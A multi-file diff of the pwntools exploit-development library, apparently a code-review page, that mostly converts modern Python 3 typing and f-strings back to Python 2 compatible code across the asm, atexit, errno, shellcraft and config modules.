code += f'.string {hexstr(data)}\n'
code += '.string "%s"' % ''.join('\\x%02x' % c for c in bytearray(data))
code += '\n'
log.debug("Building ELF:\n" + code)
@@ -708,7 +707,7 @@ def make_macho(data, is_shellcode=False):
if is_shellcode:
code += cpp(data)
else:
code += f'.string {hexstr(data)}\n'
code += '.string "%s"' % ''.join('\\x%02x' % c for c in bytearray(data))
log.debug('Assembling\n%s' % code)
@@ -817,7 +816,7 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
os.makedirs(cache_dir)
# Include the context in the hash in addition to the shellcode
hash_params = f'{vma}_{extract}_{shared}_{__version__}'
hash_params = '{}_{}_{}_{}'.format(vma, extract, shared, __version__)
fingerprint_params = _encode(code) + _encode(hash_params) + _encode(' '.join(assembler)) + _encode(' '.join(linker)) + _encode(' '.join(objcopy))
asm_hash = sha1sumhex(fingerprint_params)
cache_file = os.path.join(cache_dir, asm_hash)
@@ -876,7 +875,7 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
universal_newlines = True
).strip()
if extract and len(relocs.split('\n')) > 1:
log.warn('Shellcode contains relocations:\n%s' % relocs)
log.error('Shellcode contains relocations:\n%s' % relocs)
else:
shutil.copy(step2, step3)
+16 -32
View File
@@ -2,11 +2,12 @@
Analogous to atexit, this module allows the programmer to register functions to
be run if an unhandled exception occurs.
"""
from __future__ import absolute_import
from __future__ import division
import sys
import threading
import traceback
from types import TracebackType
from typing import Any, Callable, ParamSpec, TypeVar
from pwnlib.context import context
@@ -14,12 +15,9 @@ __all__ = ['register', 'unregister']
_lock = threading.Lock()
_ident = 0
_handlers: dict[int, tuple[Callable[..., Any], Any, Any, dict[str, Any]]] = {}
_handlers = {}
_P = ParamSpec('_P')
_R = TypeVar('_R')
def register(func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs) -> int:
def register(func, *args, **kwargs):
"""register(func, *args, **kwargs)
Registers a function to be called when an unhandled exception occurs. The
@@ -45,24 +43,10 @@ def register(func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs) -> int
actual exception-handler. The exception-handler can then be unregistered
with::
ident = atexception.register(handler)
atexception.unregister(ident)
atexception.unregister(handler)
This function is thread safe.
>>> def handler(a, b):
... print("Exception handler", a, b)
>>> ident = atexception.register(handler, 13, 37)
>>> raise Exception("Unexpected error") # doctest: +ELLIPSIS
Traceback (most recent call last):
...
Exception: Unexpected error
Exception handler 13 37
>>> atexception.unregister(ident)
>>> raise Exception("Unexpected error") # doctest: +ELLIPSIS
Traceback (most recent call last):
...
Exception: Unexpected error
"""
global _ident
with _lock:
@@ -71,16 +55,16 @@ def register(func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs) -> int
_handlers[ident] = (func, args, kwargs, vars(context))
return ident
def unregister(ident: int) -> None:
"""unregister(ident)
def unregister(func):
"""unregister(func)
Remove the exception-handler identified by `ident` from the list of registered
handlers. If `ident` isn't registered this is a no-op.
Remove `func` from the collection of registered functions. If `func` isn't
registered this is a no-op.
"""
if ident in _handlers:
del _handlers[ident]
if func in _handlers:
del _handlers[func]
def _run_handlers() -> None:
def _run_handlers():
"""_run_handlers()
Run registered handlers. They run in the reverse order of which they were
@@ -102,12 +86,12 @@ def _run_handlers() -> None:
# extract the current exception and rewind the traceback to where it
# originated
typ, val, tb = sys.exc_info()
traceback.print_exception(typ, value=val, tb=tb.tb_next if tb else None)
traceback.print_exception(typ, val, tb.tb_next)
# we rely on the existing excepthook to print exceptions
_oldhook = getattr(sys, 'excepthook', None)
def _newhook(typ: type[BaseException], val: BaseException, tb: TracebackType | None) -> None:
def _newhook(typ, val, tb):
"""_newhook(typ, val, tb)
Our excepthook replacement. First the original hook is called to print the
@@ -115,7 +99,7 @@ def _newhook(typ: type[BaseException], val: BaseException, tb: TracebackType | N
"""
if _oldhook:
_oldhook(typ, val, tb)
if _handlers:
if _run_handlers:
_run_handlers()
sys.excepthook = _newhook
+18 -12
View File
@@ -7,11 +7,13 @@ this replacement module also defines :func:`unregister`.
This module also fixes a the issue that exceptions raised by an exit handler is
printed twice when the standard :mod:`atexit` is used.
"""
from __future__ import absolute_import
from __future__ import division
import sys
import threading
import traceback
import atexit as std_atexit
from typing import Any, Callable, ParamSpec, TypeVar
from pwnlib.context import context
@@ -19,12 +21,9 @@ __all__ = ['register', 'unregister']
_lock = threading.Lock()
_ident = 0
_handlers: dict[int, tuple[Callable[..., Any], Any, Any, dict[str, Any]]] = {}
_handlers = {}
_P = ParamSpec('_P')
_R = TypeVar('_R')
def register(func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs) -> int:
def register(func, *args, **kwargs):
"""register(func, *args, **kwargs)
Registers a function to be called on program termination. The function will
@@ -48,8 +47,7 @@ def register(func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs) -> int
Notice however that this will bind ``handler`` to the identifier and not the
actual exit-handler. The exit-handler can then be unregistered with::
ident = atexit.register(handler)
atexit.unregister(ident)
atexit.unregister(handler)
This function is thread safe.
@@ -61,7 +59,7 @@ def register(func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs) -> int
_handlers[ident] = (func, args, kwargs, vars(context))
return ident
def unregister(ident: int) -> None:
def unregister(ident):
"""unregister(ident)
Remove the exit-handler identified by `ident` from the list of registered
@@ -70,7 +68,7 @@ def unregister(ident: int) -> None:
if ident in _handlers:
del _handlers[ident]
def _run_handlers() -> None:
def _run_handlers():
"""_run_handlers()
Run registered exit-handlers. They run in the reverse order of which they
@@ -92,6 +90,14 @@ def _run_handlers() -> None:
# extract the current exception and rewind the traceback to where it
# originated
typ, val, tb = sys.exc_info()
traceback.print_exception(typ, value=val, tb=tb.tb_next if tb else None)
traceback.print_exception(typ, val, tb.tb_next)
# if there's already an exitfunc registered be sure to run that too
if hasattr(sys, "exitfunc"):
register(sys.exitfunc)
if sys.version_info[0] < 3:
sys.exitfunc = _run_handlers
else:
std_atexit.register(_run_handlers)
std_atexit.register(_run_handlers)
+4 -2
View File
@@ -1,3 +1,6 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
@@ -76,8 +79,7 @@ parser.add_argument(
parser.add_argument(
'-e',
'--encoder',
metavar='X',
help="Compatibility flag, ignored"
help="Specific encoder to use"
)
parser.add_argument(
+4 -1
View File
@@ -1,3 +1,6 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
@@ -33,7 +36,7 @@ def main(args):
try:
e = ELF(f)
except Exception as e:
print(f"{f}: {e}")
print("{name}: {error}".format(name=f, error=e))
if __name__ == '__main__':
common.main(__file__, main)
+3
View File
@@ -1,3 +1,6 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import functools
import re
+11 -4
View File
@@ -1,3 +1,8 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import six
import string
import sys
@@ -38,16 +43,15 @@ parser.add_argument(
help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
)
xgroup = parser.add_mutually_exclusive_group(required=False)
xgroup.add_argument(
group = parser.add_mutually_exclusive_group(required=False)
group.add_argument(
'-l', '-o', '--offset', '--lookup',
dest = 'lookup',
type = str.encode,
metavar = 'lookup_value',
help = 'Do a lookup instead printing the alphabet',
)
xgroup.add_argument(
group.add_argument(
'count',
type=int,
nargs='?',
@@ -62,6 +66,9 @@ def main(args):
if args.lookup:
pat = args.lookup
if six.PY3:
pat = bytes(pat, encoding='utf-8')
try:
pat = int(pat, 0)
pat = pack(pat, 'all')
+3
View File
@@ -1,3 +1,6 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
+3
View File
@@ -1,3 +1,6 @@
from __future__ import absolute_import
from __future__ import division
import argparse
from pwn import *
from pwnlib.commandline import common
+4
View File
@@ -1,3 +1,7 @@
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import argparse
import re
import string
+3
View File
@@ -1,3 +1,6 @@
from __future__ import absolute_import
from __future__ import division
import shutil
from argparse import ArgumentParser
from subprocess import CalledProcessError
+3
View File
@@ -1,3 +1,6 @@
from __future__ import absolute_import
from __future__ import division
import sys
import pwnlib.args
+28 -183
View File
@@ -1,23 +1,9 @@
"""Look up ``errno`` values for the architecture selected by ``-c``.
from __future__ import absolute_import, print_function
The examples below run in the documentation doctest suite.
>>> from pwnlib.context import context
>>> from pwnlib.commandline.errno import _context_table
>>> with context.local(arch='amd64', os='linux'):
... _context_table()['ECONNRESET']
104
>>> with context.local(arch='mips', os='linux'):
... _context_table()['ECONNRESET']
131
"""
from argparse import Namespace
from typing import Generator
import argparse
import os
import errno
import pwnlib.constants as constants
from pwnlib.context import context
from pwnlib.commandline import common
parser = common.parser_commands.add_parser(
@@ -27,178 +13,37 @@ parser = common.parser_commands.add_parser(
)
parser.add_argument(
'error', help='Error message or value (errno number, errno name, or perror string)',
nargs='?', type=str
)
parser.add_argument(
'-l', '--list', action='store_true',
help='List every known errno (number, name, perror string).'
)
parser.add_argument(
'-s', '--search', action='store_true',
help='Treat the argument as an errno name or perror substring and print every match.'
)
parser.add_argument(
'-c', '--context',
metavar = 'context',
type = common.context_arg,
help = 'Look the errno values up for this architecture or os, e.g. `-c aarch64`.',
'error', help='Error message or value', type=str
)
def main(args):
try:
value = int(args.error, 0)
def _host_table() -> dict[str, int]:
"""Return ``{name: value}`` for every errno the host standard library knows."""
return {name: getattr(errno, name) for name in dir(errno)
if name.isupper() and isinstance(getattr(errno, name), int)}
if value < 0:
value = -value
if 0x100000000 - value < 0x200:
value = 0x100000000 - value
if value not in errno.errorcode:
print("No errno for %s" % value)
return
name = errno.errorcode[value]
except ValueError:
name = args.error.upper()
if not hasattr(errno, name):
print("No errno for %s" % name)
return
value = getattr(errno, name)
def _context_table() -> dict[str, int]:
"""Return ``{name: value}`` for the errno numbers ``context`` uses."""
if context.os == 'freebsd':
module = getattr(constants, 'freebsd', None)
else:
module = getattr(getattr(constants, context.os, None), context.arch, None)
if module is None:
return {}
table = {}
for name in _host_table():
value = getattr(module, name, None)
if value is not None:
table[name] = int(getattr(value, 'value', value))
return table
def _message(name: str) -> str:
"""Return the perror string of ``name`` according to the host, or ``''``."""
value = getattr(errno, name, None)
if not isinstance(value, int):
return ''
try:
return os.strerror(value)
except ValueError:
return ''
def _iter_known_errnos(table: dict[str, int]) -> Generator[tuple[int, str, str], None, None]:
"""Yield ``(value, name, message)`` tuples sorted by numeric value.
Aliases sharing a number are reported once: the canonical name from
`errno.errorcode` wins when it maps to the same value, otherwise the
first name alphabetically does.
>>> with context.local(arch='aarch64', os='linux'):
... [(value, name) for value, name, _ in _iter_known_errnos(_context_table())][:3]
[(1, 'EPERM'), (2, 'ENOENT'), (3, 'ESRCH')]
"""
# ``errno.errorcode`` is the canonical name for a number, so prefer it over the
# alphabetically first alias to keep the default listing identical to before.
canonical = {value: name for value, name in errno.errorcode.items() if table.get(name) == value}
seen = set()
for name, value in sorted(table.items(), key=lambda item: (item[1], item[0])):
if value in seen:
continue
seen.add(value)
name = canonical.get(value, name)
yield value, name, _message(name)
def _print_errno(value: int, name: str | None = None, message: str | None = None) -> None:
if name is None:
name = errno.errorcode.get(value, '')
if message is None:
message = os.strerror(value)
if name:
print('#define %s %d' % (name, value))
else:
print('#define <unknown> %d' % value)
if message:
print(message)
def _search_errnos(needle: str, table: dict[str, int]) -> list[tuple[int, str, str]]:
"""Return errnos whose name or ``strerror`` text contains ``needle``.
The match is case-insensitive, so ``pwn errno -c mips -s conn`` finds the
connection-oriented errnos even when the host cannot spell them out.
>>> with context.local(arch='mips', os='linux'):
... [(value, name) for value, name, _ in _search_errnos('econnreset', _context_table())]
[(131, 'ECONNRESET')]
"""
needle = needle.lower()
return [(v, n, m) for v, n, m in _iter_known_errnos(table)
if needle in n.lower() or needle in m.lower()]
def main(args: Namespace) -> None:
if args.context is None:
table = _host_table()
else:
table = _context_table()
if not table:
print('No errno values known for %s/%s' % (context.os, context.arch))
return
if args.list:
for value, name, message in _iter_known_errnos(table):
print('%-3d %-10s %s' % (value, name, message))
return
if args.error is None:
parser.error('the following arguments are required: error (or pass --list)')
if args.search:
matches = _search_errnos(args.error, table)
if not matches:
print("No errno matched %r" % args.error)
return
for value, name, message in matches:
_print_errno(value, name, message)
print()
return
try:
value = int(args.error, 0)
if value < 0:
value = -value
if 0x100000000 - value < 0x200:
value = 0x100000000 - value
name = next((n for n, v in sorted(table.items()) if v == value), None)
if name is None:
print("No errno for %s" % value)
return
except ValueError:
name = args.error.upper()
value = table.get(name)
if value is None:
# Fall back to a substring search against perror messages so
# ``pwn errno 'Cannot allocate memory'`` resolves to ENOMEM.
matches = _search_errnos(args.error, table)
if not matches:
print("No errno for %s" % args.error)
return
for value, name, message in matches:
_print_errno(value, name, message)
if len(matches) > 1:
print()
return
_print_errno(value, name, _message(name))
print('#define', name, value)
print(os.strerror(value))
if __name__ == '__main__':
common.main(__file__, main)
+3
View File
@@ -1,3 +1,6 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
+6 -4
View File
@@ -1,4 +1,8 @@
#!/usr/bin/env python3
#!/usr/bin/env python
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import re
import shutil
import sys
@@ -266,9 +270,7 @@ def main(args):
continue
if args.unstrip:
if not libcdb.unstrip_libc(file):
log.failure('Failed to unstrip libc binary %s', file)
continue
libcdb.unstrip_libc(file)
print_libc_elf(ELF(file, checksec=False))
+2
View File
@@ -1,3 +1,5 @@
from __future__ import absolute_import
from pwnlib.commandline import asm
from pwnlib.commandline import checksec
from pwnlib.commandline import common
+3
View File
@@ -1,3 +1,6 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import os
import signal
+4 -1
View File
@@ -1,3 +1,6 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import pwnlib.args
@@ -15,7 +18,7 @@ p = common.parser_commands.add_parser(
g = p.add_argument_group("actions")
g.add_argument('-b', '--build-id', help="Strip build ID", action='store_true')
g.add_argument('-p', '--patch', metavar='FUNCTION', help="Patch function", action='append')
p.add_argument('-o', '--output', type=argparse.FileType('wb'), default=getattr(sys.stdout, 'buffer', sys.stdout), help='Output file')
p.add_argument('-o', '--output', type=argparse.FileType('wb'), default=getattr(sys.stdout, 'buffer', sys.stdout))
p.add_argument('file', type=argparse.FileType('rb'))
def main(args):
+3
View File
@@ -1,3 +1,6 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
+21 -7
View File
@@ -1,5 +1,9 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import os
import six
import sys
import types
@@ -8,7 +12,6 @@ pwnlib.args.free_form = False
from pwn import *
from pwnlib.commandline import common
from pwnlib.util.fiddling import hexstr
# ____ _ _ _ __ _
@@ -17,6 +20,17 @@ from pwnlib.util.fiddling import hexstr
# ___) | | | | __/ | | (__| | | (_| | _| |_
# |____/|_| |_|\___|_|_|\___|_| \__,_|_| \__|
def _string(s):
out = []
for co in bytearray(s):
c = chr(co)
if co >= 0x20 and co <= 0x7e and c not in '/$\'"`':
out.append(c)
else:
out.append('\\x%02x' % co)
return '"' + ''.join(out) + '"\n'
p = common.parser_commands.add_parser(
'shellcraft',
help = 'Microwave shellcode -- Easy, fast and delicious',
@@ -71,7 +85,7 @@ p.add_argument(
p.add_argument(
'--delim',
help='Set the delimiter between multiple shellcodes',
help='Set the delimiter between multilple shellcodes',
default='+'
)
@@ -266,8 +280,8 @@ def main(args):
code_array = []
for (name, func, func_args) in funcs:
defargs = len(func.__defaults__ or ())
reqargs = func.__code__.co_argcount - defargs
defargs = len(six.get_function_defaults(func) or ())
reqargs = six.get_function_code(func).co_argcount - defargs
if len(func_args) < reqargs:
if defargs > 0:
@@ -277,7 +291,7 @@ def main(args):
log.critical('%s takes exactly %d arguments' % (name, reqargs))
sys.exit(1)
# Captain ugliness saves the day!
# Captain uglyness saves the day!
for i, val in enumerate(func_args):
try:
func_args[i] = util.safeeval.expr(val)
@@ -353,7 +367,7 @@ def main(args):
sys.exit(0)
if args.format in ['s', 'str', 'string']:
code = hexstr(code)
code = _string(code)
elif args.format == 'c':
code = '{' + ', '.join(map(hex, bytearray(code))) + '}' + '\n'
elif args.format in ['h', 'hex']:
@@ -361,7 +375,7 @@ def main(args):
elif args.format in ['i', 'hexii']:
code = hexii(code) + '\n'
elif args.format in ['d', 'escaped']:
code = ''.join(fr'\x{c:02x}' for c in code) + '\n'
code = ''.join('\\x%02x' % c for c in bytearray(code)) + '\n'
if not sys.stdin.isatty():
args.out.write(getattr(sys.stdin, 'buffer', sys.stdin).read())
+6 -2
View File
@@ -1,8 +1,12 @@
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from pwn import *
from pwnlib.commandline import common
from pwnlib.data import path as data_path
from pwnlib.util.misc import which, parse_ldd_output, write
from sys import stderr
from mako.lookup import TemplateLookup, Template
parser = common.parser_commands.add_parser(
@@ -15,7 +19,7 @@ parser = common.parser_commands.add_parser(
)
# change path to hardcoded one when building the documentation
printable_data_path = "pwnlib/data" if 'sphinx' in sys.modules else data_path
printable_data_path = "pwnlib/data" if 'sphinx' in sys.modules else pwnlib.data.path
parser.add_argument('exe', nargs='?', help='Target binary. If not given, the current directory is searched for an executable binary.')
parser.add_argument('--host', help='Remote host / SSH server')
+3
View File
@@ -1,3 +1,6 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
from string import whitespace
+4 -1
View File
@@ -1,4 +1,7 @@
#!/usr/bin/env python3
#!/usr/bin/env python
from __future__ import absolute_import
from __future__ import division
import subprocess
import pwnlib.args
+4 -1
View File
@@ -1,4 +1,7 @@
#!/usr/bin/env python3
#!/usr/bin/env python
from __future__ import absolute_import
from __future__ import division
import os
import subprocess
+9 -8
View File
@@ -1,3 +1,4 @@
# -*- coding: utf-8 -*-
"""Allows per-user and per-host configuration of Pwntools settings.
The list of configurable options includes all of the logging symbols
@@ -13,7 +14,7 @@ when used in library mode (``import pwnlib``). To read the configuration
file in library mode, invoke :func:`.config.initialize`.
The ``context`` section supports complex types, at least as far as is
supported by :func:`pwnlib.util.safeeval.expr`.
supported by ``pwnlib.util.safeeval.expr``.
::
@@ -31,15 +32,15 @@ supported by :func:`pwnlib.util.safeeval.expr`.
[update]
interval=7
"""
import configparser
from __future__ import absolute_import
from __future__ import division
from six.moves import configparser
import os
from typing import Any, Callable
ConfigHandler = Callable[[dict[str, Any]], None]
registered_configs = {}
registered_configs: dict[str, ConfigHandler] = {}
def register_config(section: str, function: ConfigHandler) -> None:
def register_config(section, function):
"""Registers a configuration section.
Arguments:
@@ -49,7 +50,7 @@ def register_config(section: str, function: ConfigHandler) -> None:
"""
registered_configs[section] = function
def initialize() -> None:
def initialize():
"""Read the configuration files."""
from pwnlib.log import getLogger
log = getLogger(__name__)
+4 -2
View File
@@ -50,6 +50,8 @@ Example:
61
"""
from __future__ import absolute_import
import importlib
import sys
from types import ModuleType
@@ -146,10 +148,10 @@ class ConstantsModule(ModuleType):
val = safeeval.values(string, self._env_store[key])
# if the expression is not assembly-safe, it is not so vital to preserve it
if set(string) & (set(bytearray(range(32)).decode()) | set(r'"#$\',.;@[]`{}')):
if set(string) & (set(bytearray(range(32)).decode()) | set('"#$\',.;@[\\]`{}')):
string = val
return Constant(f'({string})', val)
return Constant('(%s)' % string, val)
# To prevent garbage collection
+6 -1
View File
@@ -1,4 +1,9 @@
class Constant(int):
try:
base = long # workaround for py2
except NameError:
base = int
class Constant(base):
def __new__(cls, s, i):
obj = super(Constant, cls).__new__(cls, i)
obj.s = s
File diff suppressed because it is too large. Load diff
Loaded 100 of 798 files, more files were not shown because too many files have changed in this diff. Show more